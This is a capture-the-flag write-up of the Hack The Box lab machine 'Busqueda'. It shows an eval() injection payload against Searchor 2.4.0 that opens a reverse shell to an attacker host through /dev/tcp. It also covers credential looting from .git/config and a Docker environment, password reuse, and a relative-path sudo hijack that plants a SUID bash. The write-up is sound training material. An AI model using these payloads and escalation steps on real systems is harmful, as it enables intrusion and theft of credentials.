Introduction
Busqueda is an easy Linux box that plays out like a small, realistic engagement: one web bug for the foothold, then a chain of information leaks and a sudo misconfiguration for root. No memory corruption, just reading things carefully.
The foothold is an eval() injection in Searchor 2.4.0, the library powering the search site. That gives a shell as svc. From there the box is about looting: a leftover .git/config exposes a Gitea instance and a set of credentials, and a sudo-runnable “system checkup” script lets us inspect Docker containers, one of which leaks a database password. That password is reused for the Gitea admin, which lets us read the source of the very script we can run as root. The script calls a helper by a relative path, so we drop our own version in the working directory and run it as root.
Enumeration
Service Discovery
sudo nmap <target_ip> -T4 --min-rate 3500 -p 22,80 -sC -sV -oN scans/service-scan.nmapPORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1
80/tcp open http Apache httpd 2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://searcher.htb/Port 80 redirects to searcher.htb, so I added it to /etc/hosts.
echo "<target_ip> searcher.htb gitea.searcher.htb" | sudo tee -a /etc/hostsThe site is a Flask app (the response headers show Werkzeug/2.1.2 Python/3.10.6) that builds search-engine URLs. Its footer gives away the important detail: it is “Powered by Searchor 2.4.0”.
Foothold
Searchor 2.4.0 eval() injection
Searchor built its search URLs by passing the user query straight into eval(). The fix (PR #130) replaced that eval, which tells you exactly what version 2.4.0 does wrong: the query value ends up inside an evaluated Python string. Breaking out of the string lets us run arbitrary Python, and therefore arbitrary commands.
The web form submits engine and query. I put a Python expression in query that shells out for a reverse shell, closing and reopening the surrounding quotes so it evaluates cleanly:
' + __import__('os').popen('bash -c "bash -i >& /dev/tcp/<attacker_ip>/<listener_port> 0>&1"').read() + 'Sent through the search request (URL-encoded), with a listener running:
nc -lvnp <listener_port>The listener catches a shell as svc. That is the user flag.
svc@busqueda:/var/www/app$ id
uid=1000(svc) gid=1000(svc) groups=1000(svc)Looting the leftover Git repo
The web root is a Git working tree, and the .git/config still holds the remote it was cloned from, credentials and all.
svc@busqueda:/var/www/app$ cat .git/config
[remote "origin"]
url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.gitTwo facts fall out: there is a Gitea instance at gitea.searcher.htb, and we have cody:jh1usoih2bkjaspwe92. Gitea reports version 1.18.0+rc1, which has no useful public exploit, so these creds are just a foothold into Gitea, not the win. Keep them; the box wants a different Gitea account.
Privilege Escalation
sudo system-checkup.py
svc@busqueda:~$ sudo -l
User svc may run the following commands on busqueda:
(root) /usr/bin/python3 /opt/scripts/system-checkup.py *We can run a specific Python script as root with any arguments. Running it bare shows its actions:
sudo /usr/bin/python3 /opt/scripts/system-checkup.py
docker-ps : List running docker containers
docker-inspect : Inspect a certain docker container
full-checkup : Run a full system checkupLeaking the Gitea DB password from Docker
docker-ps shows a gitea and a mysql_db container. docker-inspect will dump a container’s full config as root, including its environment variables, which is where Gitea keeps its database password.
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
# ... grab the gitea container ID ...
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .Config}}' <gitea_container_id>Buried in the Env array:
"Env": [
"GITEA__database__USER=gitea",
"GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh",
...
]Password reuse to Gitea admin
That database password, yuiu1hoiu4i5ho1uh, is reused for the Gitea administrator web account. Logging into gitea.searcher.htb as administrator:yuiu1hoiu4i5ho1uh works, and it gives us something specific: read access to the scripts repository, i.e. the source code of system-checkup.py and its helpers.
Reading system-checkup.py reveals how full-checkup runs:
elif action == 'full-checkup':
arg_list = ['./full-checkup.sh']
print(run_command(arg_list))Relative-path script hijack
full-checkup.sh is called by a relative path (./), so it is resolved from whatever directory we launch the sudo command in, not from /opt/scripts. We control our current directory, so we simply provide our own full-checkup.sh.
cd /tmp
cat > full-checkup.sh <<'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF
chmod +x full-checkup.sh
# run the sudo script from /tmp so it picks up OUR full-checkup.sh as root
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkupOur script runs as root and sets the SUID bit on bash. A root shell is one command away:
/bin/bash -p
bash-5.1# id
uid=1000(svc) gid=1000(svc) euid=0(root) ...Machine rooted. (A reverse shell inside full-checkup.sh works just as well; SUID bash is simply the most reliable.)
Attack Chain Recap
nmap -> searcher.htb (Flask, Searchor 2.4.0)
Searchor 2.4.0 eval() injection -> reverse shell as svc
/var/www/app/.git/config -> gitea.searcher.htb + cody creds
sudo system-checkup.py docker-inspect -> GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh
password reuse -> Gitea administrator -> read source of system-checkup.py
full-checkup.sh called by relative path -> plant ./full-checkup.sh -> runs as root
chmod +s /bin/bash -> bash -p -> rootKey takeaways
- A leaked version string is a to-do list. “Searchor 2.4.0” plus a one-line search of its GitHub history (the PR that removed
eval) is the entire foothold. .gitdirectories are credential stores..git/configfrequently keeps the clone URL with embedded credentials. Always check it after landing on a web host.- Inspect Docker as root to loot secrets. Container environment variables hold database passwords, API keys, and tokens.
docker inspect(or a sudo wrapper for it) is a reliable secrets-dump. - Password reuse bridges the gap. The DB password was never meant to be a login, but it was reused for the Gitea admin. Try every secret you find against every account.
- Relative paths in root scripts are game over. If a
sudoscript calls./helperinstead of/full/path/helper, run it from a directory you control and supply your ownhelper.